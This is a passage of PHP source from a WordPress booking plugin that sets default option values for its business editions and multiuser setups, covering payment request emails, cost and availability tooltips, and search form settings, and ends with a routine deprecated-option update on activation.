$default_options['booking_last_checkout_day_available'] = 'Off'; //FixIn: 8.1.3.28 $mu_option4delete[]='booking_change_over_days_triangles'; $mu_option4delete[]='booking_change_over__is_excerpt_on_pages'; $default_options['booking_change_over__is_excerpt_on_pages'] = 'Off'; //FixIn: 8.9.4.10 $mu_option4delete[]='booking_change_over__excerpt_on_pages'; $default_options['booking_change_over__excerpt_on_pages'] = ''; //FixIn: 8.9.4.10 $default_options['booking_email_payment_request_adress'] = htmlspecialchars( '"Booking system" <' . get_option( 'admin_email' ) . '>' ); $default_options['booking_email_payment_request_subject'] = __( 'You need to make payment for this reservation', 'booking' ); $default_options['booking_email_payment_request_content'] = htmlspecialchars( sprintf( __( 'You need to make payment %s for reservation %s at %s. %s Please make payment on this page: %s Thank you, %s', 'booking' ), '[cost]', '[bookingtype]', '[dates]', '<br/><br/>[paymentreason]<br/><br/>[content]<br/><br/>', '[visitorbookingpayurl]<br/><br/>', $blg_title . '<br/>[siteurl]' ) ); $default_options['booking_is_email_payment_request_adress'] = 'On'; $default_options['booking_is_email_payment_request_send_copy_to_admin'] = 'Off'; } //////////////////////////////////////////////////////////////////////////// // BM //////////////////////////////////////////////////////////////////////////// if ( class_exists( 'wpdev_bk_biz_m' ) ) { //FixIn: 8.1.3.15 $default_options['booking_is_show_booked_data_in_tooltips'] = 'Off'; $mu_option4delete[]='booking_is_show_booked_data_in_tooltips'; $default_options['booking_booked_data_in_tooltips'] = '[name] [secondname]'; $mu_option4delete[]='booking_booked_data_in_tooltips'; $default_options['booking_number_for_pre_checkin_date_hint'] = '14'; //FixIn: 10.0.0.31 $mu_option4delete[]='booking_number_for_pre_checkin_date_hint'; $default_options['booking_available_days_num_from_today'] = ''; $mu_option4delete[]='booking_available_days_num_from_today'; $default_options['booking_unavailable_extra_in_out'] = ''; $mu_option4delete[]='booking_unavailable_extra_in_out'; $default_options['booking_unavailable_extra_minutes_in'] = ''; $mu_option4delete[]='booking_unavailable_extra_minutes_in'; $default_options['booking_unavailable_extra_minutes_out'] = ''; $mu_option4delete[]='booking_unavailable_extra_minutes_out'; $default_options['booking_unavailable_extra_days_in'] = ''; $mu_option4delete[]='booking_unavailable_extra_days_in'; $default_options['booking_unavailable_extra_days_out'] = ''; $mu_option4delete[]='booking_unavailable_extra_days_out'; $default_options['booking_forms_extended'] = serialize( array() ); $default_options['booking_advanced_costs_values'] = serialize( array() ); $default_options['booking_is_resource_deposit_payment_active'] = 'On'; $mu_option4delete[]='booking_is_resource_deposit_payment_active'; $default_options['booking_advanced_costs_calc_fixed_cost_with_procents'] = 'Off'; $default_options['booking_is_show_cost_in_tooltips'] = 'Off'; $mu_option4delete[]='booking_is_show_cost_in_tooltips'; $default_options['booking_highlight_cost_word'] = __( 'Cost: ', 'booking' ); $mu_option4delete[]='booking_highlight_cost_word'; $default_options['booking_is_show_cost_in_date_cell'] = 'Off'; $mu_option4delete[]='booking_is_show_cost_in_date_cell'; $default_options['booking_cost_in_date_cell_currency'] = '$'; $mu_option4delete[]='booking_cost_in_date_cell_currency'; $default_options['booking_visitor_number_rate'] = '0'; //Depricated $default_options['booking_visitor_number_rate_type'] = '%'; //Depricated } //////////////////////////////////////////////////////////////////////////// // BL //////////////////////////////////////////////////////////////////////////// if ( class_exists( 'wpdev_bk_biz_l' ) ) { // Get Key of Last added item to "$default_options" array // $multiuser_general_option[] = implode( '', array_keys( array_slice( $default_options, -1 ) ) ); $default_options['booking_check_out_available_for_parents'] = 'On'; $mu_option4delete[]='booking_check_out_available_for_parents'; $default_options['booking_check_in_available_for_parents'] = 'Off'; $mu_option4delete[]='booking_check_in_available_for_parents'; $default_options['booking_is_show_pending_days_as_available'] = 'Off'; $mu_option4delete[]='booking_is_show_pending_days_as_available'; $default_options['booking_auto_cancel_pending_bookings_for_approved_date'] = 'Off'; $mu_option4delete[]='booking_auto_cancel_pending_bookings_for_approved_date'; $default_options['booking_quantity_control'] = ( get_bk_option( 'booking_is_use_visitors_number_for_availability') == 'On' ) ? 'On' : 'Off'; $mu_option4delete[]='booking_quantity_control'; $default_options['booking_capacity_field'] = ( get_bk_option( 'booking_is_use_visitors_number_for_availability') == 'On' ) ? 'select^visitors' : ''; $mu_option4delete[]='booking_capacity_field'; $default_options['booking_is_show_availability_in_tooltips'] = 'On'; //FixIn: 8.1.3.8 $mu_option4delete[]='booking_is_show_availability_in_tooltips'; $default_options['booking_highlight_availability_word'] = __( 'Available: ', 'booking' ); $mu_option4delete[]='booking_highlight_availability_word'; $default_options['booking_is_dissbale_booking_for_different_sub_resources'] = 'Off'; $mu_option4delete[]='booking_is_dissbale_booking_for_different_sub_resources'; $default_options['booking_is_resource_no_update__during_editing'] = 'On'; //FixIn: 9.4.2.3 $mu_option4delete[]='booking_is_resource_no_update__during_editing'; $default_options['booking_search_form_show'] = str_replace( '\\n\\r', "\n", wpbc_get_default_search_form_template( 'standard_search_form' ) ); //FixIn:6.1.0.1 //FixIn: 8.5.2.11 $mu_option4delete[]='booking_search_form_show'; $default_options['booking_found_search_item'] = str_replace( '\\n\\r', "\n", wpbc_get_default_search_results_template( 'advanced_search_results' ) ); //FixIn:6.1.0.1 //FixIn: 8.5.2.11 $mu_option4delete[]='booking_found_search_item'; $default_options['booking_cache_expiration'] = '2d'; $mu_option4delete[]='booking_cache_expiration'; $default_options['booking_search_results_order'] = 'prioritet'; //FixIn: 8.4.7.8 $mu_option4delete[]='booking_search_results_order'; $default_options['booking_search_form_dates_format'] = 'yy-mm-dd'; //FixIn: 8.6.1.21 $mu_option4delete[]='booking_search_form_dates_format'; $default_options['booking_search_results_days_select'] = 'Off'; //FixIn: 8.8.2.3 $mu_option4delete[]='booking_search_results_days_select'; $default_options['booking_from_search_scroll_to_calendar'] = 'On'; //FixIn: 9.4.4.6 $mu_option4delete[]='booking_from_search_scroll_to_calendar'; $default_options['booking_search_from_auto_open_checkout_cal'] = 'On'; //FixIn: 10.0.0.39 $mu_option4delete[]='booking_search_from_auto_open_checkout_cal'; $default_options['booking_search_from__search_header'] = '[result_count] ' . __('Result(s) Found','booking'); //FixIn: 10.0.0.41 $mu_option4delete[]='booking_search_from__search_header'; $default_options['booking_search_from__search_header_advanced'] = __( 'Extended Search Results', 'booking' ); //FixIn: 10.0.0.41 $mu_option4delete[]='booking_search_from__search_header_advanced'; $default_options['booking_search_from__search_nothing_found'] = __('Nothing Found','booking'); $mu_option4delete[]='booking_search_from__search_nothing_found'; $default_options['booking_search_form__dates_required_enabled'] = 'Off'; $mu_option4delete[]='booking_search_form__dates_required_enabled'; $default_options['booking_search_form__dates_required_warning'] = __('Please select check-in and check-out dates to perform the search.','booking'); $mu_option4delete[]='booking_search_form__dates_required_warning'; // Updated during regeneration seacrh cache //$default_options['booking_cache_content']=''; $mu_option4delete[]='booking_cache_content'; //$default_options['booking_cache_created']=wpbc_datetime_localized( date ('Y-m-d H:i:s'), 'Y-m-d H:i:s' ); $mu_option4delete[]='booking_cache_created'; $mu_option4delete[]='booking_resources_search_options'; //FixIn: 10.0.0.18 } //////////////////////////////////////////////////////////////////////////// // MU //////////////////////////////////////////////////////////////////////////// if ( class_exists( 'wpdev_bk_multiuser' ) ) { //FixIn: 8.1.3.19 $default_options['booking_is_custom_forms_for_regular_users'] = 'Off'; $mu_option4delete[]='booking_is_custom_forms_for_regular_users'; //FixIn: 9.2.3.8 $default_options['booking_super_admin_receive_regular_user_payments'] = 'Off'; $mu_option4delete[]='booking_super_admin_receive_regular_user_payments'; } if ( ! $is_get_multiuser_general_options ) { if ( ! empty( $option_name ) ) { if (isset( $default_options[ $option_name ] )) return $default_options[ $option_name ]; // Return 1 option else return false; // Option does NOT exist } else { return $default_options; // Return ALL } } else return $mu_option4delete; // Get options for MU } // <editor-fold defaultstate="collapsed" desc=" Update Deprecated Options " > function wpbc_after_activation__update_deprecated_options() { update_bk_option( 'booking_form_is_using_bs_css', 'Off' ); } add_bk_action( 'wpbc_after_activation', 'wpbc_after_activation__update_deprecated_options' ); // </editor-fold>